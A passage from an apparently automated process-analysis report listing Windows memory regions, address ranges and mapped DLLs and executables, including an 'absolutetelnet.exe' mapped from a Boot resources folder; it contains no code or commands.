"private_0x000000001dca0000" filename = "" Region: id = 6911 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 6912 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 6913 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 6914 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6915 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6917 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6918 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6919 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 6920 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6921 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6922 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6923 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6924 start_va = 0x7ffb15050000 end_va = 0x7ffb1505efff monitored = 0 entry_point = 0x7ffb15051420 region_type = mapped_file name = "netfxperf.dll" filename = "\\Windows\\System32\\netfxperf.dll" (normalized: "c:\\windows\\system32\\netfxperf.dll") Region: id = 6925 start_va = 0x1e0a0000 end_va = 0x1e1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e0a0000" filename = "" Region: id = 6927 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6928 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6929 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6930 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6931 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6932 start_va = 0x7ffb03220000 end_va = 0x7ffb03261fff monitored = 1 entry_point = 0x7ffb0322eb50 region_type = mapped_file name = "perfcounter.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\PerfCounter.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\perfcounter.dll") Region: id = 6933 start_va = 0x7ffb03360000 end_va = 0x7ffb033acfff monitored = 0 entry_point = 0x7ffb0336b470 region_type = mapped_file name = "pdh.dll" filename = "\\Windows\\System32\\pdh.dll" (normalized: "c:\\windows\\system32\\pdh.dll") Region: id = 6934 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6935 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 6936 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 6937 start_va = 0x1e200000 end_va = 0x1e3f2fff monitored = 1 entry_point = 0x1e3f131e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe") Region: id = 6939 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6940 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6941 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6942 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6943 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6944 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6945 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6946 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 6947 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 6948 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6949 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 6950 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 6951 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 6952 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 6953 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 6954 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 6955 start_va = 0x1e200000 end_va = 0x1e3f2fff monitored = 1 entry_point = 0x1e3f131e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe") Region: id = 6956 start_va = 0x1bab0000 end_va = 0x1babffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bab0000" filename = "" Region: id = 6957 start_va = 0x1bac0000 end_va = 0x1bacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bac0000" filename = "" Region: id = 6958 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6959 start_va = 0x1e200000 end_va = 0x1e3f2fff monitored = 1 entry_point = 0x1e3f131e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe") Region: id = 6961 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6963 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6964 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6965 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6966 start_va = 0x1e200000 end_va = 0x1e3f2fff monitored = 1 entry_point = 0x1e3f131e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe") Region: id = 6968 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6969 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6970 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6971 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6973 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6974 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6975 start_va = 0x1e200000 end_va = 0x1e3f2fff monitored = 1 entry_point = 0x1e3f131e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe") Region: id = 6977 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6978 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 6979 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 6980 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6981 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6982 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6983 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6984 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 6986 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 6987 start_va = 0x1e200000 end_va = 0x1e3f2fff monitored = 1 entry_point = 0x1e3f131e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe") Region: id = 6988 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 6989 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 6990 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 6991 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 6992 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 6993 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 6994 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 6995 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 6996 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 6997 start_va = 0x1bab0000 end_va = 0x1babffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bab0000" filename = "" Region: id = 6998 start_va = 0x1bac0000 end_va = 0x1bacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bac0000" filename = "" Region: id = 6999 start_va = 0x1bad0000 end_va = 0x1badffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bad0000" filename = "" Region: id = 7000 start_va = 0x1e200000 end_va = 0x1e3f2fff monitored = 1 entry_point = 0x1e3f131e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe") Region: id = 7002 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 7003 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7004 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7005 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7006 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7007 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7008 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7009 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7010 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7011 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7015 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7016 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7017 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7018 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7019 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7021 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7022 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7024 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7025 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7026 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7027 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7028 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7029 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7030 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7032 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7033 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7034 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7035 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7036 start_va = 0x1b100000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7037 start_va = 0x7ffb09b60000 end_va = 0x7ffb09d08fff monitored = 0 entry_point = 0x7ffb09bb4060 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\gdiplus.dll") Region: id = 7038 start_va = 0x1e200000 end_va = 0x1e3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e200000" filename = "" Region: id = 7040 start_va = 0x1dda0000 end_va = 0x1de9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dda0000" filename = "" Region: id = 7041 start_va = 0x1b100000 end_va = 0x1b100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 7042 start_va = 0x1e400000 end_va = 0x1e8f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e400000" filename = "" Region: id = 7043 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7044 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7045 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7046 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7047 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7048 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7049 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7050 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7053 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7054 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7057 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7058 start_va = 0x1e900000 end_va = 0x1edf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e900000" filename = "" Region: id = 7059 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7060 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7061 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7062 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7063 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7064 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7065 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7066 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 7067 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 7068 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 7069 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 7071 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7072 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 7073 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 7074 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 7075 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 7076 start_va = 0x1bab0000 end_va = 0x1babffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bab0000" filename = "" Region: id = 7077 start_va = 0x1bac0000 end_va = 0x1bacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bac0000" filename = "" Region: id = 7078 start_va = 0x1bad0000 end_va = 0x1badffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bad0000" filename = "" Region: id = 7079 start_va = 0x1bae0000 end_va = 0x1baeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bae0000" filename = "" Region: id = 7080 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 7081 start_va = 0x1bb00000 end_va = 0x1bb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb00000" filename = "" Region: id = 7082 start_va = 0x1bb10000 end_va = 0x1bb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb10000" filename = "" Region: id = 7083 start_va = 0x1bb20000 end_va = 0x1bb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb20000" filename = "" Region: id = 7085 start_va = 0x1bb10000 end_va = 0x1bb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb10000" filename = "" Region: id = 7086 start_va = 0x1ee00000 end_va = 0x1f2f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ee00000" filename = "" Region: id = 7088 start_va = 0x1bb20000 end_va = 0x1bb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb20000" filename = "" Region: id = 7089 start_va = 0x1bb30000 end_va = 0x1bb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb30000" filename = "" Region: id = 7090 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7091 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7092 start_va = 0x1d8a0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8a0000" filename = "" Region: id = 7093 start_va = 0x1d8c0000 end_va = 0x1d8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8c0000" filename = "" Region: id = 7094 start_va = 0x1d8e0000 end_va = 0x1d90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8e0000" filename = "" Region: id = 7095 start_va = 0x1d910000 end_va = 0x1d91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d910000" filename = "" Region: id = 7096 start_va = 0x1d920000 end_va = 0x1d92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d920000" filename = "" Region: id = 7097 start_va = 0x1d930000 end_va = 0x1d93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d930000" filename = "" Region: id = 7098 start_va = 0x1d940000 end_va = 0x1d94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d940000" filename = "" Region: id = 7099 start_va = 0x1d950000 end_va = 0x1d95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d950000" filename = "" Region: id = 7101 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7102 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7103 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7104 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7105 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7106 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 7107 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 7108 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7109 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7110 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 7111 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7112 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7115 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7116 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7117 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7118 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 7119 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 7120 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 7121 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7122 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7123 start_va = 0x1b850000 end_va = 